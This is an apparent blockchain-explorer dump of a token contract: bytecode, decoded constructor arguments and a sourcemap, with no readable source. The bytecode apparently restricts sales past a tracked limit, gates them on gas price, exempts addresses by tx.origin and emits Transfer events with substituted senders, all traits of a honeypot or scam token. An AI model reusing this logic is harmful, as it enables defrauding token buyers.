ffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611108575f6040517fe602df050000000000000000000000000000000000000000000000000000000081526004016110ff9190611dcb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611178575f6040517f94280d6200000000000000000000000000000000000000000000000000000000815260040161116f9190611dcb565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508015611261578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516112589190611b52565b60405180910390a35b50505050565b600e5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156112c6576112c183838361154e565b611549565b600c5f9054906101000a900460ff16611314576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130b906123b7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036113795761137483838361154e565b611549565b600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561141f5750600a5481600d5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461141d9190612402565b115b1561143d5761142d83611927565b61143883838361154e565b611549565b600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156114e45750600a5481600d5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546114e19190612402565b11155b1561153d5780600d5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546115359190612402565b925050819055505b61154883838361154e565b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361159e578060025f8282546115929190612402565b9250508190555061166c565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611627578381836040517fe450d38c00000000000000000000000000000000000000000000000000000000815260040161161e93929190612338565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116b3578060025f82825403925050819055506116fd565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117dc5760065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117cf9190611b52565b60405180910390a3611922565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036118bb578173ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118ae9190611b52565b60405180910390a3611921565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119189190611b52565b60405180910390a35b5b505050565b5f611931826108ad565b111561196757600c5f9054906101000a900460ff1661195a57611955600f5461196a565b611966565b61196560105461196a565b5b5b50565b803a1115611976575f80fd5b50565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6119b38261198a565b9050919050565b6119c3816119a9565b81146119cd575f80fd5b50565b5f813590506119de816119ba565b92915050565b5f602082840312156119f9576119f8611982565b5b5f611a06848285016119d0565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611a5182611a0f565b611a5b8185611a19565b9350611a6b818560208601611a29565b611a7481611a37565b840191505092915050565b5f6020820190508181035f830152611a978184611a47565b905092915050565b5f819050919050565b611ab181611a9f565b8114611abb575f80fd5b50565b5f81359050611acc81611aa8565b92915050565b5f8060408385031215611ae857611ae7611982565b5b5f611af5858286016119d0565b9250506020611b0685828601611abe565b9150509250929050565b5f8115159050919050565b611b2481611b10565b82525050565b5f602082019050611b3d5f830184611b1b565b92915050565b611b4c81611a9f565b82525050565b5f602082019050611b655f830184611b43565b92915050565b5f805f60608486031215611b8257611b81611982565b5b5f611b8f868287016119d0565b9350506020611ba0868287016119d0565b9250506040611bb186828701611abe565b9150509250925092565b5f60ff82169050919050565b611bd081611bbb565b82525050565b5f602082019050611be95f830184611bc7565b92915050565b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b611c2d82611a37565b810181811067ffffffffffffffff82111715611c4c57611c4b611bf7565b5b80604052505050565b5f611c5e611979565b9050611c6a8282611c24565b919050565b5f67ffffffffffffffff821115611c8957611c88611bf7565b5b611c9282611a37565b9050602081019050919050565b828183375f83830152505050565b5f611cbf611cba84611c6f565b611c55565b905082815260208101848484011115611cdb57611cda611bf3565b5b611ce6848285611c9f565b509392505050565b5f82601f830112611d0257611d01611bef565b5b8135611d12848260208601611cad565b91505092915050565b5f8060408385031215611d3157611d30611982565b5b5f83013567ffffffffffffffff811115611d4e57611d4d611986565b5b611d5a85828601611cee565b925050602083013567ffffffffffffffff811115611d7b57611d7a611986565b5b611d8785828601611cee565b9150509250929050565b5f60208284031215611da657611da5611982565b5b5f611db384828501611abe565b91505092915050565b611dc5816119a9565b82525050565b5f602082019050611dde5f830184611dbc565b92915050565b5f67ffffffffffffffff821115611dfe57611dfd611bf7565b5b602082029050602081019050919050565b5f80fd5b5f611e25611e2084611de4565b611c55565b90508083825260208201905060208402830185811115611e4857611e47611e0f565b5b835b81811015611e715780611e5d88826119d0565b845260208401935050602081019050611e4a565b5050509392505050565b5f82601f830112611e8f57611e8e611bef565b5b8135611e9f848260208601611e13565b91505092915050565b5f60208284031215611ebd57611ebc611982565b5b5f82013567ffffffffffffffff811115611eda57611ed9611986565b5b611ee684828501611e7b565b91505092915050565b5f8060408385031215611f0557611f04611982565b5b5f83013567ffffffffffffffff811115611f2257611f21611986565b5b611f2e85828601611e7b565b9250506020611f3f85828601611abe565b9150509250929050565b5f8060408385031215611f5f57611f5e611982565b5b5f611f6c858286016119d0565b9250506020611f7d858286016119d0565b9150509250929050565b5f81519050611f9581611aa8565b92915050565b5f60208284031215611fb057611faf611982565b5b5f611fbd84828501611f87565b91505092915050565b5f604082019050611fd95f830185611dbc565b611fe66020830184611b43565b9392505050565b611ff681611b10565b8114612000575f80fd5b50565b5f8151905061201181611fed565b92915050565b5f6020828403121561202c5761202b611982565b5b5f61203984828501612003565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061208657607f821691505b60208210810361209957612098612042565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026120fb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826120c0565b61210586836120c0565b95508019841693508086168417925050509392505050565b5f819050919050565b5f61214061213b61213684611a9f565b61211d565b611a9f565b9050919050565b5f819050919050565b61215983612126565b61216d61216582612147565b8484546120cc565b825550505050565b5f90565b612181612175565b61218c818484612150565b505050565b5b818110156121af576121a45f82612179565b600181019050612192565b5050565b601f8211156121f4576121c58161209f565b6121ce846120b1565b810160208510156121dd578190505b6121f16121e9856120b1565b830182612191565b50505b505050565b5f82821c905092915050565b5f6122145f19846008026121f9565b1980831691505092915050565b5f61222c8383612205565b9150826002028217905092915050565b61224582611a0f565b67ffffffffffffffff81111561225e5761225d611bf7565b5b612268825461206f565b6122738282856121b3565b5f60209050601f8311600181146122a4575f8415612292578287015190505b61229c8582612221565b865550612303565b601f1984166122b28661209f565b5f5b828110156122d9578489015182556001820191506020850194506020810190506122b4565b868310156122f657848901516122f2601f891682612205565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f60608201905061234b5f830186611dbc565b6123586020830185611b43565b6123656040830184611b43565b949350505050565b7f547261646520686173206e6f74206265656e206f70656e6564207965740000005f82015250565b5f6123a1601d83611a19565b91506123ac8261236d565b602082019050919050565b5f6020820190508181035f8301526123ce81612395565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61240c82611a9f565b915061241783611a9f565b925082820190508082111561242f5761242e6123d5565b5b9291505056fea26469706673582212204192ad6bdca9187b76f7c16de4b59140c935990908716d23604c58beea9f73cf64736f6c63430008190033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000000000000000000000033b2e3c9fd0803ce800000000000000000000000000000005ca93947bc2ba93a16cb4c1e4a16430f7ef6de00000000000000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : _totalSupply (uint256): 1000000000000000000000000000
Arg [1] : deployer (address): 0x05CA93947bc2Ba93a16Cb4c1e4a16430F7Ef6dE0
Arg [2] : _tokenAllowFeeAmount (uint256): 0
-----Encoded View---------------
3 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000033b2e3c9fd0803ce8000000
Arg [1] : 00000000000000000000000005ca93947bc2ba93a16cb4c1e4a16430f7ef6de0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
27010:3769:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;29665:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;29109:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19974:182;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;27190:27;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18835:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20706:239;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28793:73;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28594:89;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28695:86;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28878:159;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;27222:23;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;27151:34;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;30307:77;;;:::i;:::-;;27060:37;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18991:114;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11261:99;;;:::i;:::-;;27102:36;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29424:111;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10610:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29316:96;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;27331:41;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;30396:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;30577:199;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;27714:88;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;27250:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19298:174;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19533:138;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29547:106;;;:::i;:::-;;27281:45;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11511:210;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;29665:193;10502:13;:11;:13::i;:::-;29734:20:::1;29764:5;29757:23;;;29789:4;29757:38;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;29734:61;;29811:5;29804:22;;;29827:10;29839:12;29804:48;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;29725:133;29665:193:::0;:::o;29109:92::-;29155:13;29186:9;29179:16;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;29109:92;:::o;19974:182::-;20047:4;20062:13;20078:12;:10;:12::i;:::-;20062:28;;20099:31;20108:5;20115:7;20124:5;20099:8;:31::i;:::-;20146:4;20139:11;;;19974:182;;;;:::o;27190:27::-;;;;:::o;18835:95::-;18887:7;18912:12;;18905:19;;18835:95;:::o;20706:239::-;20793:4;20808:15;20826:12;:10;:12::i;:::-;20808:30;;20847:37;20863:4;20869:7;20878:5;20847:15;:37::i;:::-;20893:26;20903:4;20909:2;20913:5;20893:9;:26::i;:::-;20935:4;20928:11;;;20706:239;;;;;:::o;28793:73::-;28834:7;28859:1;28852:8;;28793:73;:::o;28594:89::-;28652:5;28675:2;28668:9;;28594:89;:::o;28695:86::-;28742:4;28764:11;;;;;;;;;;;28757:18;;28695:86;:::o;28878:159::-;10502:13;:11;:13::i;:::-;28992:7:::1;28980:9;:19;;;;;;:::i;:::-;;29022:9;29008:11;:23;;;;;;:::i;:::-;;28878:159:::0;;:::o;27222:23::-;;;;;;;;;;;;;:::o;27151:34::-;;;;:::o;30307:77::-;10502:13;:11;:13::i;:::-;30367:11:::1;;;;;;;;;;;30366:12;30352:11;;:26;;;;;;;;;;;;;;;;;;30307:77::o:0;27060:37::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;18991:114::-;19056:7;19081:9;:18;19091:7;19081:18;;;;;;;;;;;;;;;;19074:25;;18991:114;;;:::o;11261:99::-;10502:13;:11;:13::i;:::-;11324:30:::1;11351:1;11324:18;:30::i;:::-;11261:99::o:0;27102:36::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;29424:111::-;10502:13;:11;:13::i;:::-;29523:6:::1;29501:19;:28;;;;29424:111:::0;:::o;10610:83::-;10656:7;10681:6;;;;;;;;;;;10674:13;;10610:83;:::o;29316:96::-;29364:13;29395:11;29388:18;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;29316:96;:::o;27331:41::-;;;;;;;;;;;;;;;;;;;;;;:::o;30396:169::-;10502:13;:11;:13::i;:::-;30475:9:::1;30470:90;30494:4;:11;30490:1;:15;30470:90;;;30546:4;30525:9;:18;30535:4;30540:1;30535:7;;;;;;;;:::i;:::-;;;;;;;;30525:18;;;;;;;;;;;;;;;;:25;;;;;;;;;;;;;;;;;;30507:3;;;;;;;30470:90;;;;30396:169:::0;:::o;30577:199::-;10502:13;:11;:13::i;:::-;30672:9:::1;30667:104;30691:4;:11;30687:1;:15;30667:104;;;30745:4;30750:1;30745:7;;;;;;;;:::i;:::-;;;;;;;;30727:34;;30736:7;:5;:7::i;:::-;30727:34;;;30754:6;30727:34;;;;;;:::i;:::-;;;;;;;;30704:3;;;;;;;30667:104;;;;30577:199:::0;;:::o;27714:88::-;10502:13;:11;:13::i;:::-;27792:4:::1;27778:11;;:18;;;;;;;;;;;;;;;;;;27714:88:::0;:::o;27250:26::-;;;;;;;;;;;;;:::o;19298:174::-;19367:4;19382:13;19398:12;:10;:12::i;:::-;19382:28;;19419:27;19429:5;19436:2;19440:5;19419:9;:27::i;:::-;19462:4;19455:11;;;19298:174;;;;:::o;19533:138::-;19613:7;19638:11;:18;19650:5;19638:18;;;;;;;;;;;;;;;:27;19657:7;19638:27;;;;;;;;;;;;;;;;19631:34;;19533:138;;;;:::o;29547:106::-;10502:13;:11;:13::i;:::-;29604:10:::1;29596:28;;:51;29625:21;29596:51;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;29547:106::o:0;27281:45::-;;;;;;;;;;;;;;;;;:::o;11511:210::-;10502:13;:11;:13::i;:::-;11614:1:::1;11594:22;;:8;:22;;::::0;11590:89:::1;;11666:1;11638:31;;;;;;;;;;;:::i;:::-;;;;;;;;11590:89;11687:28;11706:8;11687:18;:28::i;:::-;11511:210:::0;:::o;10769:158::-;10838:12;:10;:12::i;:::-;10827:23;;:7;:5;:7::i;:::-;:23;;;10823:99;;10899:12;:10;:12::i;:::-;10872:40;;;;;;;;;;;:::i;:::-;;;;;;;;10823:99;10769:158::o;8623:94::-;8676:7;8701:10;8694:17;;8623:94;:::o;24807:126::-;24890:37;24899:5;24906:7;24915:5;24922:4;24890:8;:37::i;:::-;24807:126;;;:::o;26455:467::-;26553:24;26580:25;26590:5;26597:7;26580:9;:25::i;:::-;26553:52;;26638:17;26618:16;:37;26614:303;;26693:5;26674:16;:24;26670:128;;;26751:7;26760:16;26778:5;26724:60;;;;;;;;;;;;;:::i;:::-;;;;;;;;26670:128;26837:57;26846:5;26853:7;26881:5;26862:16;:24;26888:5;26837:8;:57::i;:::-;26614:303;26544:378;26455:467;;;:::o;21314:292::-;21412:1;21396:18;;:4;:18;;;21392:84;;21463:1;21436:30;;;;;;;;;;;:::i;:::-;;;;;;;;21392:84;21502:1;21488:16;;:2;:16;;;21484:84;;21555:1;21526:32;;;;;;;;;;;:::i;:::-;;;;;;;;21484:84;21576:24;21584:4;21590:2;21594:5;21576:7;:24::i;:::-;21314:292;;;:::o;11877:183::-;11949:16;11968:6;;;;;;;;;;;11949:25;;11992:8;11983:6;;:17;;;;;;;;;;;;;;;;;;12045:8;12014:40;;12035:8;12014:40;;;;;;;;;;;;11940:120;11877:183;:::o;25754:421::-;25882:1;25865:19;;:5;:19;;;25861:87;;25935:1;25906:32;;;;;;;;;;;:::i;:::-;;;;;;;;25861:87;25979:1;25960:21;;:7;:21;;;25956:88;;26031:1;26003:31;;;;;;;;;;;:::i;:::-;;;;;;;;25956:88;26082:5;26052:11;:18;26064:5;26052:18;;;;;;;;;;;;;;;:27;26071:7;26052:27;;;;;;;;;;;;;;;:35;;;;26100:9;26096:74;;;26145:7;26129:31;;26138:5;26129:31;;;26154:5;26129:31;;;;;;:::i;:::-;;;;;;;;26096:74;25754:421;;;;:::o;27814:768::-;27930:9;:20;27940:9;27930:20;;;;;;;;;;;;;;;;;;;;;;;;;27926:99;;;27965:31;27979:4;27985:2;27989:6;27965:13;:31::i;:::-;28009:7;;27926:99;28041:11;;;;;;;;;;;28033:53;;;;;;;;;;;;:::i;:::-;;;;;;;;;28122:1;28099:25;;:11;;;;;;;;;;;:25;;;28095:104;;28139:31;28153:4;28159:2;28163:6;28139:13;:31::i;:::-;28183:7;;28095:104;28216:11;;;;;;;;;;;28210:17;;:2;:17;;;:73;;;;;28264:19;;28255:6;28231:10;:21;28242:9;28231:21;;;;;;;;;;;;;;;;:30;;;;:::i;:::-;:52;28210:73;28207:181;;;28298:17;28310:4;28298:11;:17::i;:::-;28328:31;28342:4;28348:2;28352:6;28328:13;:31::i;:::-;28372:7;;28207:181;28413:11;;;;;;;;;;;28407:17;;:2;:17;;;:74;;;;;28462:19;;28452:6;28428:10;:21;28439:9;28428:21;;;;;;;;;;;;;;;;:30;;;;:::i;:::-;:53;;28407:74;28404:133;;;28521:6;28496:10;:21;28507:9;28496:21;;;;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;;;;;28404:133;28545:31;28559:4;28565:2;28569:6;28545:13;:31::i;:::-;27814:768;;;;:::o;21920:1299::-;22024:1;22008:18;;:4;:18;;;22004:528;;22158:5;22142:12;;:21;;;;;;;:::i;:::-;;;;;;;;22004:528;;;22192:19;22214:9;:15;22224:4;22214:15;;;;;;;;;;;;;;;;22192:37;;22260:5;22246:11;:19;22242:113;;;22316:4;22322:11;22335:5;22291:50;;;;;;;;;;;;;:::i;:::-;;;;;;;;22242:113;22504:5;22490:11;:19;22472:9;:15;22482:4;22472:15;;;;;;;;;;;;;;;:37;;;;22179:353;22004:528;22566:1;22552:16;;:2;:16;;;22548:415;;22728:5;22712:12;;:21;;;;;;;;;;;22548:415;;;22935:5;22918:9;:13;22928:2;22918:13;;;;;;;;;;;;;;;;:22;;;;;;;;;;;22548:415;22989:9;;;;;;;;;;;22983:15;;:2;:15;;;22979:227;;23033:9;;;;;;;;;;;23018:32;;23027:4;23018:32;;;23044:5;23018:32;;;;;;:::i;:::-;;;;;;;;22979:227;;;23078:9;;;;;;;;;;;23070:17;;:4;:17;;;23066:140;;23127:2;23107:30;;23116:9;;;;;;;;;;;23107:30;;;23131:5;23107:30;;;;;;:::i;:::-;;;;;;;;23066:140;;;23186:2;23171:25;;23180:4;23171:25;;;23190:5;23171:25;;;;;;:::i;:::-;;;;;;;;23066:140;22979:227;21920:1299;;;:::o;29943:223::-;30018:1;30002:13;30012:2;30002:9;:13::i;:::-;:17;29999:162;;;30039:11;;;;;;;;;;;30034:118;;30069:16;30080:4;;30069:10;:16::i;:::-;30034:118;;;30122:16;30133:4;;30122:10;:16::i;:::-;30034:118;29999:162;29943:223;:::o;30178:117::-;30253:4;30239:11;:18;30235:55;;;30272:8;;;30235:55;30178:117;:::o;7:75:1:-;40:6;73:2;67:9;57:19;;7:75;:::o;88:117::-;197:1;194;187:12;211:117;320:1;317;310:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:122::-;641:24;659:5;641:24;:::i;:::-;634:5;631:35;621:63;;680:1;677;670:12;621:63;568:122;:::o;696:139::-;742:5;780:6;767:20;758:29;;796:33;823:5;796:33;:::i;:::-;696:139;;;;:::o;841:329::-;900:6;949:2;937:9;928:7;924:23;920:32;917:119;;;955:79;;:::i;:::-;917:119;1075:1;1100:53;1145:7;1136:6;1125:9;1121:22;1100:53;:::i;:::-;1090:63;;1046:117;841:329;;;;:::o;1176:99::-;1228:6;1262:5;1256:12;1246:22;;1176:99;;;:::o;1281:169::-;1365:11;1399:6;1394:3;1387:19;1439:4;1434:3;1430:14;1415:29;;1281:169;;;;:::o;1456:139::-;1545:6;1540:3;1535;1529:23;1586:1;1577:6;1572:3;1568:16;1561:27;1456:139;;;:::o;1601:102::-;1642:6;1693:2;1689:7;1684:2;1677:5;1673:14;1669:28;1659:38;;1601:102;;;:::o;1709:377::-;1797:3;1825:39;1858:5;1825:39;:::i;:::-;1880:71;1944:6;1939:3;1880:71;:::i;:::-;1873:78;;1960:65;2018:6;2013:3;2006:4;1999:5;1995:16;1960:65;:::i;:::-;2050:29;2072:6;2050:29;:::i;:::-;2045:3;2041:39;2034:46;;1801:285;1709:377;;;;:::o;2092:313::-;2205:4;2243:2;2232:9;2228:18;2220:26;;2292:9;2286:4;2282:20;2278:1;2267:9;2263:17;2256:47;2320:78;2393:4;2384:6;2320:78;:::i;:::-;2312:86;;2092:313;;;;:::o;2411:77::-;2448:7;2477:5;2466:16;;2411:77;;;:::o;2494:122::-;2567:24;2585:5;2567:24;:::i;:::-;2560:5;2557:35;2547:63;;2606:1;2603;2596:12;2547:63;2494:122;:::o;2622:139::-;2668:5;2706:6;2693:20;2684:29;;2722:33;2749:5;2722:33;:::i;:::-;2622:139;;;;:::o;2767:474::-;2835:6;2843;2892:2;2880:9;2871:7;2867:23;2863:32;2860:119;;;2898:79;;:::i;:::-;2860:119;3018:1;3043:53;3088:7;3079:6;3068:9;3064:22;3043:53;:::i;:::-;3033:63;;2989:117;3145:2;3171:53;3216:7;3207:6;3196:9;3192:22;3171:53;:::i;:::-;3161:63;;3116:118;2767:474;;;;;:::o;3247:90::-;3281:7;3324:5;3317:13;3310:21;3299:32;;3247:90;;;:::o;3343:109::-;3424:21;3439:5;3424:21;:::i;:::-;3419:3;3412:34;3343:109;;:::o;3458:210::-;3545:4;3583:2;3572:9;3568:18;3560:26;;3596:65;3658:1;3647:9;3643:17;3634:6;3596:65;:::i;:::-;3458:210;;;;:::o;3674:118::-;3761:24;3779:5;3761:24;:::i;:::-;3756:3;3749:37;3674:118;;:::o;3798:222::-;3891:4;3929:2;3918:9;3914:18;3906:26;;3942:71;4010:1;3999:9;3995:17;3986:6;3942:71;:::i;:::-;3798:222;;;;:::o;4026:619::-;4103:6;4111;4119;4168:2;4156:9;4147:7;4143:23;4139:32;4136:119;;;4174:79;;:::i;:::-;4136:119;4294:1;4319:53;4364:7;4355:6;4344:9;4340:22;4319:53;:::i;:::-;4309:63;;4265:117;4421:2;4447:53;4492:7;4483:6;4472:9;4468:22;4447:53;:::i;:::-;4437:63;;4392:118;4549:2;4575:53;4620:7;4611:6;4600:9;4596:22;4575:53;:::i;:::-;4565:63;;4520:118;4026:619;;;;;:::o;4651:86::-;4686:7;4726:4;4719:5;4715:16;4704:27;;4651:86;;;:::o;4743:112::-;4826:22;4842:5;4826:22;:::i;:::-;4821:3;4814:35;4743:112;;:::o;4861:214::-;4950:4;4988:2;4977:9;4973:18;4965:26;;5001:67;5065:1;5054:9;5050:17;5041:6;5001:67;:::i;:::-;4861:214;;;;:::o;5081:117::-;5190:1;5187;5180:12;5204:117;5313:1;5310;5303:12;5327:180;5375:77;5372:1;5365:88;5472:4;5469:1;5462:15;5496:4;5493:1;5486:15;5513:281;5596:27;5618:4;5596:27;:::i;:::-;5588:6;5584:40;5726:6;5714:10;5711:22;5690:18;5678:10;5675:34;5672:62;5669:88;;;5737:18;;:::i;:::-;5669:88;5777:10;5773:2;5766:22;5556:238;5513:281;;:::o;5800:129::-;5834:6;5861:20;;:::i;:::-;5851:30;;5890:33;5918:4;5910:6;5890:33;:::i;:::-;5800:129;;;:::o;5935:308::-;5997:4;6087:18;6079:6;6076:30;6073:56;;;6109:18;;:::i;:::-;6073:56;6147:29;6169:6;6147:29;:::i;:::-;6139:37;;6231:4;6225;6221:15;6213:23;;5935:308;;;:::o;6249:148::-;6347:6;6342:3;6337;6324:30;6388:1;6379:6;6374:3;6370:16;6363:27;6249:148;;;:::o;6403:425::-;6481:5;6506:66;6522:49;6564:6;6522:49;:::i;:::-;6506:66;:::i;:::-;6497:75;;6595:6;6588:5;6581:21;6633:4;6626:5;6622:16;6671:3;6662:6;6657:3;6653:16;6650:25;6647:112;;;6678:79;;:::i;:::-;6647:112;6768:54;6815:6;6810:3;6805;6768:54;:::i;:::-;6487:341;6403:425;;;;;:::o;6848:340::-;6904:5;6953:3;6946:4;6938:6;6934:17;6930:27;6920:122;;6961:79;;:::i;:::-;6920:122;7078:6;7065:20;7103:79;7178:3;7170:6;7163:4;7155:6;7151:17;7103:79;:::i;:::-;7094:88;;6910:278;6848:340;;;;:::o;7194:834::-;7282:6;7290;7339:2;7327:9;7318:7;7314:23;7310:32;7307:119;;;7345:79;;:::i;:::-;7307:119;7493:1;7482:9;7478:17;7465:31;7523:18;7515:6;7512:30;7509:117;;;7545:79;;:::i;:::-;7509:117;7650:63;7705:7;7696:6;7685:9;7681:22;7650:63;:::i;:::-;7640:73;;7436:287;7790:2;7779:9;7775:18;7762:32;7821:18;7813:6;7810:30;7807:117;;;7843:79;;:::i;:::-;7807:117;7948:63;8003:7;7994:6;7983:9;7979:22;7948:63;:::i;:::-;7938:73;;7733:288;7194:834;;;;;:::o;8034:329::-;8093:6;8142:2;8130:9;8121:7;8117:23;8113:32;8110:119;;;8148:79;;:::i;:::-;8110:119;8268:1;8293:53;8338:7;8329:6;8318:9;8314:22;8293:53;:::i;:::-;8283:63;;8239:117;8034:329;;;;:::o;8369:118::-;8456:24;